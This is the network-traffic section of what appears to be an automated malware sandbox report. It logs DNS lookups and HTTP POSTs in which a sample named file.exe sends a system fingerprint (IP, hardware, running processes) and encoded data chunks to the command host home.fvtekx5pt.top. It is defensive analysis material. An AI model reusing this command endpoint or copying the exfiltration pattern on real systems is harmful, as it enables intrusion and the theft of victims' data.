Nov 30, 2024 05:00:25.504842043 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:25.505604029 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.505727053 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.505768061 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:25.506553888 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.506664038 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.506714106 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:25.507496119 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.538619041 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.538667917 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:25.538728952 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.539088964 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.539212942 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.539267063 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:25.540035963 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.540101051 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:25.540158033 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.541013956 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.541145086 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.541197062 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:25.541932106 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.542010069 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:25.542049885 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.542874098 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.542988062 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.543037891 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:25.543832064 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.543879986 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:25.543895006 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.586627960 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:25.670567989 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.670695066 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.670814991 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:25.671025991 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.671152115 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.671963930 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.672017097 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:25.672312021 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.672354937 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:25.672408104 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.673274040 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.673373938 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.673420906 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:25.674217939 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.674335957 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.674386024 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:25.675175905 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.675220013 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:25.675276995 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.676208019 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.676254988 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:25.676361084 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.679586887 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:25.799901962 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.800000906 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:32.232117891 CET	49739	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:32.352122068 CET	80	49739	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:32.352365971 CET	49739	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:32.353041887 CET	49739	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:32.472937107 CET	80	49739	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:33.698913097 CET	80	49739	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:33.699309111 CET	49739	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:33.819489956 CET	80	49739	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:33.819539070 CET	49739	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:34.949573994 CET	49740	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:35.069685936 CET	80	49740	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:35.070035934 CET	49740	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:35.070420027 CET	49740	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:35.190299988 CET	80	49740	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:35.190386057 CET	49740	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:35.190439939 CET	80	49740	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:35.190448999 CET	80	49740	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:35.190535069 CET	80	49740	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:35.190567017 CET	80	49740	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:35.190656900 CET	49740	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:35.190699100 CET	80	49740	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:35.190707922 CET	80	49740	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:35.190757036 CET	49740	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:35.190841913 CET	80	49740	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:35.190892935 CET	49740	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:35.190990925 CET	80	49740	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:35.190999985 CET	80	49740	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:35.191050053 CET	49740	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:35.310321093 CET	80	49740	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:35.310400963 CET	80	49740	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:35.310527086 CET	49740	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:35.310671091 CET	80	49740	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:35.310679913 CET	80	49740	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:35.310723066 CET	80	49740	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:35.310746908 CET	49740	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:35.310765982 CET	80	49740	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:35.310770988 CET	49740	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:35.310815096 CET	49740	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:35.358513117 CET	80	49740	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:35.358822107 CET	49740	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:35.478501081 CET	80	49740	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:35.526513100 CET	80	49740	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:36.110282898 CET	80	49740	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:36.909876108 CET	80	49740	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:36.910340071 CET	49740	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:37.030911922 CET	80	49740	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:37.030997992 CET	49740	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:41.264297962 CET	49749	443	192.168.2.4	142.250.181.100
Nov 30, 2024 05:00:41.264316082 CET	443	49749	142.250.181.100	192.168.2.4
Nov 30, 2024 05:00:41.264394999 CET	49749	443	192.168.2.4	142.250.181.100
Nov 30, 2024 05:00:41.264663935 CET	49749	443	192.168.2.4	142.250.181.100
Nov 30, 2024 05:00:41.264676094 CET	443	49749	142.250.181.100	192.168.2.4
Nov 30, 2024 05:00:43.018099070 CET	443	49749	142.250.181.100	192.168.2.4
Nov 30, 2024 05:00:43.019967079 CET	49749	443	192.168.2.4	142.250.181.100
Nov 30, 2024 05:00:43.019984007 CET	443	49749	142.250.181.100	192.168.2.4
Nov 30, 2024 05:00:43.020833015 CET	443	49749	142.250.181.100	192.168.2.4
Nov 30, 2024 05:00:43.023421049 CET	49749	443	192.168.2.4	142.250.181.100
Nov 30, 2024 05:00:43.078016996 CET	49749	443	192.168.2.4	142.250.181.100
Nov 30, 2024 05:00:43.078223944 CET	443	49749	142.250.181.100	192.168.2.4
Nov 30, 2024 05:00:43.078301907 CET	49749	443	192.168.2.4	142.250.181.100
Nov 30, 2024 05:00:43.460526943 CET	49751	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:43.580486059 CET	80	49751	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:43.584034920 CET	49751	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:43.591408968 CET	49751	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:43.711421967 CET	80	49751	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:43.711432934 CET	80	49751	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:43.711499929 CET	80	49751	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:43.711512089 CET	49751	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:43.711539030 CET	49751	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:43.711540937 CET	80	49751	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:43.711566925 CET	80	49751	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:43.711575985 CET	80	49751	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:43.711626053 CET	49751	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:43.711770058 CET	80	49751	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:43.711779118 CET	80	49751	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:43.711822987 CET	49751	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:43.711839914 CET	80	49751	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:43.711870909 CET	80	49751	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:43.832205057 CET	80	49751	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:43.832215071 CET	80	49751	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:43.832242012 CET	80	49751	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:43.832746983 CET	80	49751	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:43.832755089 CET	80	49751	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:43.833338976 CET	80	49751	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:43.874382973 CET	80	49751	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:45.215054989 CET	80	49751	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:45.215514898 CET	49751	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:45.335637093 CET	80	49751	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:45.335694075 CET	49751	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:46.369121075 CET	49754	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:46.488981962 CET	80	49754	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:46.492050886 CET	49754	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:46.498198032 CET	49754	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:46.618027925 CET	80	49754	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:47.994507074 CET	80	49754	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:47.994904995 CET	49754	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:48.115571022 CET	80	49754	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:48.115695000 CET	49754	80	192.168.2.4	141.8.197.146

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 30, 2024 04:59:58.682281017 CET	49224	53	192.168.2.4	1.1.1.1
Nov 30, 2024 04:59:58.682393074 CET	49224	53	192.168.2.4	1.1.1.1
Nov 30, 2024 04:59:58.981647015 CET	53	49224	1.1.1.1	192.168.2.4
Nov 30, 2024 04:59:58.983587027 CET	53	49224	1.1.1.1	192.168.2.4
Nov 30, 2024 05:00:01.828531027 CET	49227	53	192.168.2.4	1.1.1.1
Nov 30, 2024 05:00:01.828596115 CET	49227	53	192.168.2.4	1.1.1.1
Nov 30, 2024 05:00:02.586050987 CET	53	49227	1.1.1.1	192.168.2.4
Nov 30, 2024 05:00:02.586251974 CET	53	49227	1.1.1.1	192.168.2.4
Nov 30, 2024 05:00:05.626822948 CET	49229	53	192.168.2.4	1.1.1.1
Nov 30, 2024 05:00:05.626874924 CET	49229	53	192.168.2.4	1.1.1.1
Nov 30, 2024 05:00:05.764657974 CET	53	49229	1.1.1.1	192.168.2.4
Nov 30, 2024 05:00:05.764857054 CET	53	49229	1.1.1.1	192.168.2.4
Nov 30, 2024 05:00:31.815112114 CET	65110	53	192.168.2.4	1.1.1.1
Nov 30, 2024 05:00:31.815159082 CET	65110	53	192.168.2.4	1.1.1.1
Nov 30, 2024 05:00:32.106647968 CET	53	65110	1.1.1.1	192.168.2.4
Nov 30, 2024 05:00:32.231246948 CET	53	65110	1.1.1.1	192.168.2.4
Nov 30, 2024 05:00:34.806410074 CET	57072	53	192.168.2.4	1.1.1.1
Nov 30, 2024 05:00:34.806473017 CET	57072	53	192.168.2.4	1.1.1.1
Nov 30, 2024 05:00:34.946723938 CET	53	57072	1.1.1.1	192.168.2.4
Nov 30, 2024 05:00:34.949002028 CET	53	57072	1.1.1.1	192.168.2.4
Nov 30, 2024 05:00:40.480438948 CET	53	60365	1.1.1.1	192.168.2.4
Nov 30, 2024 05:00:40.506279945 CET	53	52078	1.1.1.1	192.168.2.4
Nov 30, 2024 05:00:41.125649929 CET	59406	53	192.168.2.4	1.1.1.1
Nov 30, 2024 05:00:41.125828981 CET	64562	53	192.168.2.4	1.1.1.1
Nov 30, 2024 05:00:41.263096094 CET	53	59406	1.1.1.1	192.168.2.4
Nov 30, 2024 05:00:41.263638020 CET	53	64562	1.1.1.1	192.168.2.4
Nov 30, 2024 05:00:43.307943106 CET	64563	53	192.168.2.4	1.1.1.1
Nov 30, 2024 05:00:43.308060884 CET	64563	53	192.168.2.4	1.1.1.1
Nov 30, 2024 05:00:43.445884943 CET	53	64563	1.1.1.1	192.168.2.4
Nov 30, 2024 05:00:43.445903063 CET	53	64563	1.1.1.1	192.168.2.4
Nov 30, 2024 05:00:46.229662895 CET	63112	53	192.168.2.4	1.1.1.1
Nov 30, 2024 05:00:46.229731083 CET	63112	53	192.168.2.4	1.1.1.1
Nov 30, 2024 05:00:46.367994070 CET	53	63112	1.1.1.1	192.168.2.4
Nov 30, 2024 05:00:46.368366003 CET	63112	53	192.168.2.4	1.1.1.1
Nov 30, 2024 05:00:46.368376017 CET	53	63112	1.1.1.1	192.168.2.4
Nov 30, 2024 05:00:46.505536079 CET	53	63112	1.1.1.1	192.168.2.4

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Nov 30, 2024 05:00:40.614002943 CET	192.168.2.4	1.1.1.1	c233	(Port unreachable)	Destination Unreachable
Nov 30, 2024 05:00:46.508022070 CET	192.168.2.4	1.1.1.1	c203	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 30, 2024 04:59:58.682281017 CET	192.168.2.4	1.1.1.1	0x990d	Standard query (0)	httpbin.org	A (IP address)	IN (0x0001)	false
Nov 30, 2024 04:59:58.682393074 CET	192.168.2.4	1.1.1.1	0xbfe4	Standard query (0)	httpbin.org	28	IN (0x0001)	false
Nov 30, 2024 05:00:01.828531027 CET	192.168.2.4	1.1.1.1	0x7eef	Standard query (0)	home.fvtekx5pt.top	A (IP address)	IN (0x0001)	false
Nov 30, 2024 05:00:01.828596115 CET	192.168.2.4	1.1.1.1	0x58a2	Standard query (0)	home.fvtekx5pt.top	28	IN (0x0001)	false
Nov 30, 2024 05:00:05.626822948 CET	192.168.2.4	1.1.1.1	0xc95c	Standard query (0)	home.fvtekx5pt.top	A (IP address)	IN (0x0001)	false
Nov 30, 2024 05:00:05.626874924 CET	192.168.2.4	1.1.1.1	0x5371	Standard query (0)	home.fvtekx5pt.top	28	IN (0x0001)	false
Nov 30, 2024 05:00:31.815112114 CET	192.168.2.4	1.1.1.1	0x5b0e	Standard query (0)	fvtekx5pt.top	A (IP address)	IN (0x0001)	false
Nov 30, 2024 05:00:31.815159082 CET	192.168.2.4	1.1.1.1	0xe4af	Standard query (0)	fvtekx5pt.top	28	IN (0x0001)	false
Nov 30, 2024 05:00:34.806410074 CET	192.168.2.4	1.1.1.1	0x87ac	Standard query (0)	fvtekx5pt.top	A (IP address)	IN (0x0001)	false
Nov 30, 2024 05:00:34.806473017 CET	192.168.2.4	1.1.1.1	0x1cb5	Standard query (0)	fvtekx5pt.top	28	IN (0x0001)	false
Nov 30, 2024 05:00:41.125649929 CET	192.168.2.4	1.1.1.1	0x2021	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 30, 2024 05:00:41.125828981 CET	192.168.2.4	1.1.1.1	0x227d	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 30, 2024 05:00:43.307943106 CET	192.168.2.4	1.1.1.1	0x8b9d	Standard query (0)	fvtekx5pt.top	A (IP address)	IN (0x0001)	false
Nov 30, 2024 05:00:43.308060884 CET	192.168.2.4	1.1.1.1	0x723a	Standard query (0)	fvtekx5pt.top	28	IN (0x0001)	false
Nov 30, 2024 05:00:46.229662895 CET	192.168.2.4	1.1.1.1	0x17d8	Standard query (0)	home.fvtekx5pt.top	A (IP address)	IN (0x0001)	false
Nov 30, 2024 05:00:46.229731083 CET	192.168.2.4	1.1.1.1	0x4cd0	Standard query (0)	home.fvtekx5pt.top	28	IN (0x0001)	false
Nov 30, 2024 05:00:46.368366003 CET	192.168.2.4	1.1.1.1	0x17d8	Standard query (0)	home.fvtekx5pt.top	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Nov 30, 2024 04:59:58.981647015 CET	1.1.1.1	192.168.2.4	0x990d	No error (0)	httpbin.org	18.208.8.205	A (IP address)	IN (0x0001)	false
Nov 30, 2024 04:59:58.981647015 CET	1.1.1.1	192.168.2.4	0x990d	No error (0)	httpbin.org	18.213.123.165	A (IP address)	IN (0x0001)	false
Nov 30, 2024 05:00:02.586050987 CET	1.1.1.1	192.168.2.4	0x7eef	No error (0)	home.fvtekx5pt.top	141.8.197.146	A (IP address)	IN (0x0001)	false
Nov 30, 2024 05:00:05.764857054 CET	1.1.1.1	192.168.2.4	0xc95c	No error (0)	home.fvtekx5pt.top	141.8.197.146	A (IP address)	IN (0x0001)	false
Nov 30, 2024 05:00:32.231246948 CET	1.1.1.1	192.168.2.4	0x5b0e	No error (0)	fvtekx5pt.top	141.8.197.146	A (IP address)	IN (0x0001)	false
Nov 30, 2024 05:00:34.946723938 CET	1.1.1.1	192.168.2.4	0x87ac	No error (0)	fvtekx5pt.top	141.8.197.146	A (IP address)	IN (0x0001)	false
Nov 30, 2024 05:00:41.263096094 CET	1.1.1.1	192.168.2.4	0x2021	No error (0)	www.google.com	142.250.181.100	A (IP address)	IN (0x0001)	false
Nov 30, 2024 05:00:41.263638020 CET	1.1.1.1	192.168.2.4	0x227d	No error (0)	www.google.com		65	IN (0x0001)	false
Nov 30, 2024 05:00:43.445884943 CET	1.1.1.1	192.168.2.4	0x8b9d	No error (0)	fvtekx5pt.top	141.8.197.146	A (IP address)	IN (0x0001)	false
Nov 30, 2024 05:00:46.368376017 CET	1.1.1.1	192.168.2.4	0x17d8	No error (0)	home.fvtekx5pt.top	141.8.197.146	A (IP address)	IN (0x0001)	false
Nov 30, 2024 05:00:46.505536079 CET	1.1.1.1	192.168.2.4	0x17d8	No error (0)	home.fvtekx5pt.top	141.8.197.146	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

httpbin.org

home.fvtekx5pt.top

fvtekx5pt.top

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49731	141.8.197.146	80	4144	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 30, 2024 05:00:02.709311962 CET	12360	OUT	POST /RrlNvinfLqYZQoxgChZr1732768478 HTTP/1.1 Host: home.fvtekx5pt.top Accept: / Content-Type: application/json Content-Length: 495413 Data Raw: 7b 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 32 32 38 22 2c 20 22 63 75 72 72 65 6e 74 5f 74 69 6d 65 22 3a 20 22 31 37 33 32 39 33 39 32 30 30 22 2c 20 22 4e 75 6d 5f 70 72 6f 63 65 73 73 6f 72 22 3a 20 34 2c 20 22 4e 75 6d 5f 72 61 6d 22 3a 20 37 2c 20 22 64 72 69 76 65 72 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 43 3a 5c 5c 22 2c 20 22 61 6c 6c 22 3a 20 32 32 33 2e 30 2c 20 22 66 72 65 65 22 3a 20 31 36 38 2e 30 20 7d 20 5d 2c 20 22 4e 75 6d 5f 64 69 73 70 6c 61 79 73 22 3a 20 31 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 78 22 3a 20 31 32 38 30 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 79 22 3a 20 31 30 32 34 2c 20 22 72 65 63 65 6e 74 5f 66 69 6c 65 73 22 3a 20 33 38 2c 20 22 70 72 6f 63 65 73 73 65 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 5b 53 79 73 74 65 6d 20 50 72 6f 63 65 73 73 5d 22 2c 20 22 70 69 64 22 3a 20 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 53 79 73 74 65 6d 22 2c 20 22 70 69 64 22 3a 20 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 52 65 67 [TRUNCATED] Data Ascii: { "ip": "8.46.123.228", "current_time": "1732939200", "Num_processor": 4, "Num_ram": 7, "drivers": [ { "name": "C:\\", "all": 223.0, "free": 168.0 } ], "Num_displays": 1, "resolution_x": 1280, "resolution_y": 1024, "recent_files": 38, "processes": [ { "name": "[System Process]", "pid": 0 }, { "name": "System", "pid": 4 }, { "name": "Registry", "pid": 92 }, { "name": "smss.exe", "pid": 324 }, { "name": "csrss.exe", "pid": 408 }, { "name": "wininit.exe", "pid": 484 }, { "name": "csrss.exe", "pid": 492 }, { "name": "winlogon.exe", "pid": 552 }, { "name": "services.exe", "pid": 620 }, { "name": "lsass.exe", "pid": 628 }, { "name": "svchost.exe", "pid": 752 }, { "name": "fontdrvhost.exe", "pid": 776 }, { "name": "fontdrvhost.exe", "pid": 784 }, { "name": "svchost.exe", "pid": 872 }, { "name": "svchost.exe", "pid": 920 }, { "name": "dwm.exe", "pid": 988 }, { "name": "svchost.exe", "pid": 364 }, { "name": "svchost.exe", "pid": 356 }, { "name": "svchost.exe", "pid": 696 }, { "name": "svchost.exe", "pid": [TRUNCATED]
Nov 30, 2024 05:00:02.829351902 CET	2472	OUT	Data Raw: 7a 77 73 2b 53 61 73 35 55 36 73 6f 4e 4e 53 6a 4a 78 6b 6d 5c 2f 77 43 75 36 48 30 44 5c 2f 70 58 59 6d 6e 51 71 30 66 43 71 55 34 59 6d 68 53 78 4e 46 50 6a 62 77 35 68 55 6e 52 72 77 6a 4f 6c 50 32 4d 2b 4c 34 31 6f 38 38 5a 4a 38 73 34 52 6b Data Ascii: zws+Sas5U6soNNSjJxkm\/wCu6H0D\/pXYmnQq0fCqU4YmhSxNFPjbw5hUnRrwjOlP2M+L41o88ZJ8s4Rkr2lFNNH5CUV+v1v\/AMEnPEFwSP8AhdmioQcEHwRfEhh\/Cf8AipRg4wecHkV+YPxL8E3Pw1+Ifjb4fXd\/Bqlz4L8Ua34Zm1K2ikggv30fUJ7E3kUErPJAlx5IlELvIYt3l+ZJt3t+i+D30pvAXx9zbOMj8I\/ED
Nov 30, 2024 05:00:02.829411030 CET	4944	OUT	Data Raw: 41 4c 76 34 6d 68 45 5c 2f 58 38 50 36 6d 6d 56 59 71 76 57 4a 30 46 65 6d 76 39 30 5c 2f 68 5c 2f 4d 56 4e 4a 32 5c 2f 48 2b 6c 52 30 48 51 56 36 4b 6c 66 70 2b 50 39 44 55 56 52 79 4c 7a 5c 2f 41 4b 2b 52 63 4e 5c 2f 6c 2b 71 43 71 39 53 76 30 Data Ascii: ALv4mhE\/X8P6mmVYqvWJ0Femv90\/h\/MVNJ2\/H+lR0HQV6Klfp+P9DUVRyLz\/AK+RcN\/l+qCq9Sv0\/H+hpmxvT+X+NZGpDJ2\/H+lQP0\/H+hq3UbN2H4n\/AArWG3z\/AER2U+vy\/Up1HJ2\/H+lTv1\/D+pplWaFeo5B99\/xH\/wBerMn3G+lRUHQV6ryf7Cbsf571ck7fj\/Sq33W74\/of8\/pQdVLp\/h\/yGd
Nov 30, 2024 05:00:02.829433918 CET	2472	OUT	Data Raw: 46 70 34 66 38 4d 65 4c 37 33 77 48 34 4b 73 4c 66 58 66 45 38 64 74 71 31 7a 34 66 76 4c 76 54 4c 52 5a 4c 32 7a 74 64 53 5c 2f 77 43 45 65 75 4e 51 75 72 75 2b 31 5a 4a 72 4f 4b 50 52 39 4f 75 4e 52 69 74 56 2b 7a 72 62 76 78 6e 37 55 54 36 4a Data Ascii: Fp4f8MeL73wH4KsLfXfE8dtq1z4fvLvTLRZL2ztdS\/wCEeuNQuru+1ZJrOKPR9OuNRitV+zrbvxn7UT6JP+xp+0ve+G5luNB1T4X+JdY0q4iuLi6gubLV\/BGk6jBd28tzJJIYbtLkXSjIUmYvtDO2f7P8OMNnmRcZcOZtg6+NymdTizLMgxuJy7FyofWK2BznK4Y\/LqlbB1lOeHtjKUuScpYXEU\/4aqezq8n4N4qPh3iHgL
Nov 30, 2024 05:00:02.829458952 CET	2472	OUT	Data Raw: 7a 34 6d 74 5c 2f 41 48 5c 2f 43 4e 52 69 35 65 48 5c 2f 68 4f 5c 2f 77 44 68 4b 6a 41 49 5c 2f 44 44 33 46 76 34 2b 56 35 70 4f 70 68 58 50 47 54 56 53 70 4b 76 57 68 42 38 32 46 6f 50 6c 70 55 71 4e 53 79 55 36 6d 48 35 72 4f 62 64 34 4b 58 4c Data Ascii: z4mt\/AH\/CNRi5eH\/hO\/wDhKjAI\/DD3Fv4+V5pOphXPGTVSpKvWhB82FoPlpUqNSyU6mH5rObd4KXLf944xsz+g\/DHxlzKrwhUzTjOrUzvHVc74jo4fEwx3APDio4HIsiyPM50Z0c8z3hSjiHOWPrcuIwlLF08Jzc+b4nL8J7GvKP8A4Kofsj+KNc+EXif9pzx943+E974v+Gtn4Zsbg\/Dv4I+KvAOreM9P1\/xf4c8IW
Nov 30, 2024 05:00:02.829513073 CET	4944	OUT	Data Raw: 79 52 39 36 62 4c 61 54 5c 2f 41 4a 36 66 36 5c 2f 48 74 30 5c 2f 7a 39 4d 31 43 73 6e 6c 37 33 32 66 4a 35 76 6d 34 5c 2f 4c 38 2b 2b 65 61 4a 56 64 66 6e 64 49 34 66 4d 5c 2f 77 43 65 6e 37 38 5c 2f 35 5c 2f 7a 37 30 5c 2f 63 38 55 65 5c 2f 7a Data Ascii: yR96bLaT\/AJ6f6\/Ht0\/z9M1Csnl732fJ5vm4\/L8++eaJVdfndI4fM\/wCen78\/5\/z70\/c8Ue\/ztnly+V38+btWhsQ8\/uUjSR9\/rx+n\/wBeq27yz\/z28vn\/AKYd\/wA\/y\/XFTfJ5brv9fNj8ryfy\/wA\/hR87b4en73\/nl1\/X6dKn3\/7v4gQt\/fXy\/wDnr5ck3+q\/6df8+vpR5f7uZP3iJPF+7x+X\
